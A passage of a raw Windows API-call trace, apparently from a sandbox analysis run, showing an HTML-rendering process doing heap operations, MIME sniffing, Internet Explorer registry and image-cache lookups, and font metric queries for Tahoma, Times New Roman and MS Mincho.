pdwFlags=0x0 | out: pbBinary=0x4c4450, pcbBinary=0x1ccf34, pdwSkip=0x0, pdwFlags=0x0) returned 1
[0102.923] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4bc140
[0102.923] GetProcessHeap () returned 0x450000
[0102.923] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1d34) returned 0x4c6380
[0102.923] lstrlenW (lpString="") returned 0
[0102.923] lstrlenW (lpString="image/png") returned 9
[0102.923] lstrlenW (lpString="") returned 0
[0102.924] StrCmpNICW (lpStr1="image/pn", lpStr2="text/css", nChar=8) returned -11
[0102.924] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1d34) returned 0x4c4450
[0102.924] FindMimeFromData (in: pBC=0x0, pwzUrl=0x0, pBuffer=0x4c4450, cbSize=0x1d34, pwzMimeProposed="image/png", dwMimeFlags=0x2, ppwzMimeOut=0x4b77c0, dwReserved=0x0 | out: ppwzMimeOut=0x4b77c0*="image/x-png") returned 0x0
[0102.924] StrCmpICW (pszStr1="image/x-png", pszStr2="text/xml") returned -11
[0102.924] StrCmpNICW (lpStr1="image/x-", lpStr2="text/css", nChar=8) returned -11
[0102.924] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4c4450 | out: hHeap=0x450000) returned 1
[0102.924] IUnknown:Release (This=0x47db0c) returned 0x9
[0102.924] IUnknown:Release (This=0x47db0c) returned 0x8
[0102.924] IUnknown:Release (This=0x47db0c) returned 0x7
[0102.924] CoTaskMemFree (pv=0x0)
[0102.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x7325e718, lpParameter=0x4b8c10, dwCreationFlags=0x0, lpThreadId=0x4b8c24 | out: lpThreadId=0x4b8c24*=0x6fc) returned 0x26c
[0102.926] IUnknown:Release (This=0x47db0c) returned 0x6
[0102.926] IUnknown:Release (This=0x47db0c) returned 0x5
[0102.926] IUnknown:AddRef (This=0x47db0c) returned 0x6
[0102.926] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cd36c | out: phkResult=0x1cd36c*=0x270) returned 0x0
[0102.927] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cd370 | out: phkResult=0x1cd370*=0x274) returned 0x0
[0102.927] RegOpenKeyExW (in: hKey=0x274, lpSubKey="FEATURE_BLOCK_LMZ_IMG", ulOptions=0x0, samDesired=0x1, phkResult=0x1cd32c | out: phkResult=0x1cd32c*=0x0) returned 0x2
[0102.927] RegOpenKeyExW (in: hKey=0x270, lpSubKey="FEATURE_BLOCK_LMZ_IMG", ulOptions=0x0, samDesired=0x1, phkResult=0x1cd32c | out: phkResult=0x1cd32c*=0x278) returned 0x0
[0102.927] SHRegGetValueW () returned 0x2
[0102.927] SHRegGetValueW () returned 0x2
[0102.927] RegCloseKey (hKey=0x278) returned 0x0
[0102.927] RegCloseKey (hKey=0x0) returned 0x6
[0102.927] RegCloseKey (hKey=0x0) returned 0x6
[0102.927] RegCloseKey (hKey=0x270) returned 0x0
[0102.927] RegCloseKey (hKey=0x274) returned 0x0
[0102.927] IUnknown:Release (This=0x47db0c) returned 0x5
[0102.928] GetSysColor (nIndex=5) returned 0xffffff
[0102.933] GetSysColor (nIndex=5) returned 0xffffff
[0102.933] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x499b40, Size=0x128) returned 0x499b40
[0102.933] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c68
[0102.933] GetSysColor (nIndex=5) returned 0xffffff
[0102.933] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4b1d20, Size=0xb9a) returned 0x4b1d20
[0102.933] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.933] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x47d5f0 | out: hHeap=0x450000) returned 1
[0102.933] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc0) returned 0x4f0f00
[0102.933] IsCharSpaceW (wch=0x75) returned 0
[0102.934] StrCmpNICW (lpStr1="url", lpStr2="URL", nChar=3) returned 0
[0102.934] IsCharSpaceW (wch=0x28) returned 0
[0102.934] IsCharSpaceW (wch=0x23) returned 0
[0102.934] IsCharSpaceW (wch=0x23) returned 0
[0102.934] IsCharSpaceW (wch=0x64) returned 0
[0102.934] IsCharSpaceW (wch=0x65) returned 0
[0102.934] IsCharSpaceW (wch=0x66) returned 0
[0102.934] IsCharSpaceW (wch=0x61) returned 0
[0102.934] IsCharSpaceW (wch=0x75) returned 0
[0102.934] IsCharSpaceW (wch=0x6c) returned 0
[0102.934] IsCharSpaceW (wch=0x74) returned 0
[0102.934] IsCharSpaceW (wch=0x23) returned 0
[0102.934] IsCharSpaceW (wch=0x41) returned 0
[0102.934] IsCharSpaceW (wch=0x50) returned 0
[0102.934] IsCharSpaceW (wch=0x50) returned 0
[0102.934] IsCharSpaceW (wch=0x4c) returned 0
[0102.934] IsCharSpaceW (wch=0x49) returned 0
[0102.934] IsCharSpaceW (wch=0x43) returned 0
[0102.934] IsCharSpaceW (wch=0x41) returned 0
[0102.934] IsCharSpaceW (wch=0x54) returned 0
[0102.934] IsCharSpaceW (wch=0x49) returned 0
[0102.934] IsCharSpaceW (wch=0x4f) returned 0
[0102.934] IsCharSpaceW (wch=0x4e) returned 0
[0102.934] IsCharSpaceW (wch=0x29) returned 0
[0102.934] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x36) returned 0x490220
[0102.934] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb2c8
[0102.934] IsCharSpaceW (wch=0x0) returned 0
[0102.934] StrCmpICW (pszStr1="#default#APPLICATION", pszStr2="#default#APPLICATION") returned 0
[0102.934] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x490220 | out: hHeap=0x450000) returned 1
[0102.934] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb2c8 | out: hHeap=0x450000) returned 1
[0102.934] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.934] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c68
[0102.935] IUnknown:Release (This=0x4b18f8) returned 0x0
[0102.936] IUnknown:Release (This=0x47c7a4) returned 0xb
[0102.936] IUnknown:Release (This=0x485e48) returned 0x2
[0102.936] IUnknown:Release (This=0x47c7a4) returned 0xa
[0102.936] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.936] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.936] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4ba168 | out: hHeap=0x450000) returned 1
[0102.936] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497140 | out: hHeap=0x450000) returned 1
[0102.936] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.936] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.936] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.936] IUnknown:Release (This=0x47c7a4) returned 0x9
[0102.936] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.936] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.936] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.936] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.936] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.936] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.936] IUnknown:Release (This=0x47c7a4) returned 0x8
[0102.936] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.936] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.936] IUnknown:Release (This=0x47c444) returned 0x6
[0102.936] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.936] IUnknown:Release (This=0x494768) returned 0x1
[0102.936] IUnknown:Release (This=0x494768) returned 0x0
[0102.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x493960 | out: hHeap=0x450000) returned 1
[0102.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.937] IUnknown:Release (This=0x47c444) returned 0x3
[0102.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4941a0 | out: hHeap=0x450000) returned 1
[0102.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x493fe8 | out: hHeap=0x450000) returned 1
[0102.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x496ef8 | out: hHeap=0x450000) returned 1
[0102.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48a588 | out: hHeap=0x450000) returned 1
[0102.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e0ec8 | out: hHeap=0x450000) returned 1
[0102.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bed38 | out: hHeap=0x450000) returned 1
[0102.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4998c8 | out: hHeap=0x450000) returned 1
[0102.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497030 | out: hHeap=0x450000) returned 1
[0102.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48f2f8 | out: hHeap=0x450000) returned 1
[0102.938] GetCurrentThreadId () returned 0x4e0
[0102.938] GetCurrentThreadId () returned 0x4e0
[0102.938] GetCurrentThreadId () returned 0x4e0
[0102.942] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xec) returned 0x4b7980
[0102.942] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.942] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.944] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x483c58, Size=0xc0) returned 0x4b7c88
[0102.944] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xec) returned 0x493fd8
[0102.945] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.945] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.946] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xc8) returned 0x4f0f00
[0102.946] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x44) returned 0x49d808
[0102.946] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x250) returned 0x4940d0
[0102.946] LsGetRubyLsimethods () returned 0x0
[0102.946] LsGetTatenakayokoLsimethods () returned 0x0
[0102.946] LsGetHihLsimethods () returned 0x0
[0102.946] LsGetWarichuLsimethods () returned 0x0
[0102.946] LsGetReverseLsimethods () returned 0x0
[0102.946] LsCreateContext () returned 0x0
[0102.946] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x670) returned 0x48a588
[0102.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4998c8
[0102.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x48ac00
[0102.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b67c8
[0102.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2e4) returned 0x496ef8
[0102.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x4b18f8
[0102.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x4b18a8
[0102.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa0) returned 0x4b96c0
[0102.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4778
[0102.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x48b1e8
[0102.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x48b210
[0102.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x48b238
[0102.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x48b260
[0102.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x400) returned 0x4bdbc8
[0102.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x47bd90
[0102.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd7e0
[0102.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd7f0
[0102.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd800
[0102.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x128) returned 0x4bdfd0
[0102.948] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x11c) returned 0x4be100
[0102.948] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x4be228
[0102.948] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x130) returned 0x4be338
[0102.948] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x4be470
[0102.948] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x278) returned 0x494768
[0102.948] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x48b7f0
[0102.948] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x4949e8
[0102.948] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x78) returned 0x4622f0
[0102.948] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf0) returned 0x4971e8
[0102.948] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4c) returned 0x48f2f8
[0102.948] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x194) returned 0x494b80
[0102.948] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x4be588
[0102.948] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x494d20
[0102.948] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x494eb8
[0102.948] LsSetModWidthPairs () returned 0x0
[0102.948] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x240) returned 0x494fc8
[0102.948] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc1a0
[0102.949] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x48b288
[0102.949] LsSetBreaking () returned 0x0
[0102.949] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x271) returned 0x4e11b0
[0102.949] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa) returned 0x493960
[0102.949] LsSetDoc () returned 0x0
[0102.949] LsCreateLine () returned 0x0
[0102.949] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.949] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb4) returned 0x4e1430
[0102.949] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc1c0
[0102.949] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x498860
[0102.950] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MSIMGSIZECacheMutex") returned 0x1e8
[0102.950] WaitForSingleObject (hHandle=0x1e8, dwMilliseconds=0xfa0) returned 0x0
[0102.950] OpenFileMappingA (dwDesiredAccess=0xf001f, bInheritHandle=0, lpName="MSIMGSIZECacheMap") returned 0x0
[0102.951] GetProcAddress (hModule=0x769c0000, lpProcName="SHGetFolderPathW") returned 0x76a45708
[0102.951] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x1cde10 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0
[0102.952] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft") returned 1
[0102.952] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer") returned 1
[0102.953] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer") returned 1
[0102.954] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\msimgsiz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
[0102.956] GetLastError () returned 0xb7
[0102.956] GetFileSize (in: hFile=0x274, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4000
[0102.956] CreateFileMappingA (hFile=0x274, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="MSIMGSIZECacheMap") returned 0x270
[0102.956] MapViewOfFile (hFileMappingObject=0x270, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4000) returned 0x900000
[0102.957] ReleaseMutex (hMutex=0x1e8) returned 1
[0102.957] CloseHandle (hObject=0x1e8) returned 1
[0102.957] CloseHandle (hObject=0x274) returned 1
[0102.958] LoadImageW (hInst=0x73130000, name=0x7ee, type=0x0, cx=0, cy=0, fuLoad=0x2000) returned 0x7050204
[0103.081] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x60) returned 0x49f058
[0103.081] CreateCompatibleDC (hdc=0x0) returned 0x5010205
[0103.081] SetStretchBltMode (hdc=0x5010205, mode=3) returned 1
[0103.081] GetDIBits (in: hdc=0x5010205, hbm=0x7050204, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x1cdc48, usage=0x0 | out: lpvBits=0x0, lpbmi=0x1cdc48) returned 1
[0103.081] SelectObject (hdc=0x5010205, h=0x7050204) returned 0x185000f
[0103.081] GetDIBColorTable (in: hdc=0x5010205, iStart=0x0, cEntries=0x100, prgbq=0x1cdc70 | out: prgbq=0x1cdc70) returned 0x100
[0103.081] SelectObject (hdc=0x5010205, h=0x185000f) returned 0x7050204
[0103.081] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x100) returned 0x4bab68
[0103.081] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x428) returned 0x4b3358
[0103.081] GetDIBits (in: hdc=0x5010205, hbm=0x7050204, start=0x0, cLines=0x10, lpvBits=0x4bab68, lpbmi=0x1cdc48, usage=0x0 | out: lpvBits=0x4bab68, lpbmi=0x1cdc48) returned 16
[0103.081] DeleteDC (hdc=0x5010205) returned 1
[0103.081] DeleteObject (ho=0x7050204) returned 1
[0103.082] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x4b28e0
[0103.082] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.082] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.082] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.084] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb4) returned 0x4e1c28
[0103.084] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb4) returned 0x4bac70
[0103.084] LsdnFinishRegular () returned 0x0
[0103.084] LsQueryLineDup () returned 0x0
[0103.085] LsDestroyLine () returned 0x0
[0103.085] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc1c0 | out: hHeap=0x450000) returned 1
[0103.085] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.085] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4b67f8, Size=0x90) returned 0x494328
[0103.086] LsSetDoc () returned 0x0
[0103.086] LsCreateLine () returned 0x0
[0103.086] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.086] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xf8) returned 0x4b3788
[0103.086] EnumFontsW (hdc=0xa01025b, lpLogfont="Tahoma", lpProc=0x73280b47, lParam=0x1ce304) returned 1
[0103.086] CreateFontIndirectW (lplf=0x1ce2a0) returned 0x80a0204
[0103.086] SelectObject (hdc=0xa01025b, h=0x80a0204) returned 0x18a002e
[0103.086] GetTextMetricsW (in: hdc=0xa01025b, lptm=0x1ce208 | out: lptm=0x1ce208) returned 1
[0103.092] GetOutlineTextMetricsW (in: hdc=0xa01025b, cjCopy=0xd8, potm=0x1ce108 | out: potm=0x1ce108) returned 0xd8
[0103.092] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x80a0204
[0103.092] SelectObject (hdc=0xa01025b, h=0x80a0204) returned 0x18a002e
[0103.092] GetTextFaceW (in: hdc=0xa01025b, c=32, lpName=0x1ce358 | out: lpName="Tahoma") returned 7
[0103.092] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x80a0204
[0103.092] SelectObject (hdc=0xa01025b, h=0x80a0204) returned 0x18a002e
[0103.092] GetTextCharsetInfo (in: hdc=0xa01025b, lpSig=0x1ce2c0, dwFlags=0x0 | out: lpSig=0x1ce2c0) returned 204
[0103.092] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x80a0204
[0103.092] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xc) returned 0x4ba810
[0103.092] SelectObject (hdc=0xa01025b, h=0x80a0204) returned 0x18a002e
[0103.092] GetFontUnicodeRanges (in: hdc=0xa01025b, lpgs=0x0 | out: lpgs=0x0) returned 0x208
[0103.092] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.093] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x208) returned 0x4c4450
[0103.093] GetFontUnicodeRanges (in: hdc=0xa01025b, lpgs=0x4c4450 | out: lpgs=0x4c4450) returned 0x208
[0103.093] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x80a0204
[0103.093] SelectObject (hdc=0xa01025b, h=0x80a0204) returned 0x18a002e
[0103.093] GetCharWidth32W (in: hdc=0xa01025b, iFirst=0x20, iLast=0x7e, lpBuffer=0x1ce298 | out: lpBuffer=0x1ce298) returned 1
[0103.100] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x17c) returned 0x4b3b40
[0103.100] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x800) returned 0x4c4660
[0103.100] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x80a0204
[0103.100] LsQueryLineDup () returned 0x0
[0103.100] LsDestroyLine () returned 0x0
[0103.100] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.101] LsSetDoc () returned 0x0
[0103.101] LsCreateLine () returned 0x0
[0103.101] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.101] SelectObject (hdc=0xa01025b, h=0x80a0204) returned 0x18a002e
[0103.101] GetTextCharsetInfo (in: hdc=0xa01025b, lpSig=0x1ce4a0, dwFlags=0x0 | out: lpSig=0x1ce4a0) returned 204
[0103.101] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x80a0204
[0103.102] EnumFontsW (hdc=0xa01025b, lpLogfont="Times New Roman", lpProc=0x73280b47, lParam=0x1ce2fc) returned 1
[0103.103] CreateFontIndirectW (lplf=0x1ce298) returned 0x60a0205
[0103.103] SelectObject (hdc=0xa01025b, h=0x60a0205) returned 0x18a002e
[0103.103] GetTextMetricsW (in: hdc=0xa01025b, lptm=0x1ce200 | out: lptm=0x1ce200) returned 1
[0103.108] GetOutlineTextMetricsW (in: hdc=0xa01025b, cjCopy=0xd8, potm=0x1ce100 | out: potm=0x1ce100) returned 0xd8
[0103.108] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x60a0205
[0103.108] SelectObject (hdc=0xa01025b, h=0x60a0205) returned 0x18a002e
[0103.108] GetTextFaceW (in: hdc=0xa01025b, c=32, lpName=0x1ce350 | out: lpName="Times New Roman") returned 16
[0103.108] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x60a0205
[0103.109] SelectObject (hdc=0xa01025b, h=0x60a0205) returned 0x18a002e
[0103.109] GetTextCharsetInfo (in: hdc=0xa01025b, lpSig=0x1ce2b8, dwFlags=0x0 | out: lpSig=0x1ce2b8) returned 204
[0103.109] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x60a0205
[0103.109] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xc) returned 0x4ba840
[0103.109] SelectObject (hdc=0xa01025b, h=0x60a0205) returned 0x18a002e
[0103.109] GetFontUnicodeRanges (in: hdc=0xa01025b, lpgs=0x0 | out: lpgs=0x0) returned 0x27c
[0103.109] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.109] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x27c) returned 0x4c5220
[0103.109] GetFontUnicodeRanges (in: hdc=0xa01025b, lpgs=0x4c5220 | out: lpgs=0x4c5220) returned 0x27c
[0103.109] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x60a0205
[0103.109] SelectObject (hdc=0xa01025b, h=0x60a0205) returned 0x18a002e
[0103.109] GetCharWidth32W (in: hdc=0xa01025b, iFirst=0x20, iLast=0x7e, lpBuffer=0x1ce290 | out: lpBuffer=0x1ce290) returned 1
[0103.116] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x17c) returned 0x4c56d0
[0103.116] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x800) returned 0x4c5858
[0103.117] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x60a0205
[0103.117] StrCmpIW (psz1="Times New Roman", psz2="Times New Roman") returned 0
[0103.117] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc1c0
[0103.117] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.117] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1192) returned 0x4f8fd0
[0103.117] bsearch (_Key=0x1ce4bc, _Base=0x4f9ad8, _NumOfElements=0xba, _SizeOfElements=0x9, _PtFuncCompare=0x73255a32) returned 0x4f9d4e
[0103.117] EnumFontsW (hdc=0xa01025b, lpLogfont="MS Mincho", lpProc=0x73280b47, lParam=0x1ce2fc) returned 1
[0103.118] CreateFontIndirectW (lplf=0x1ce298) returned 0x70a0202
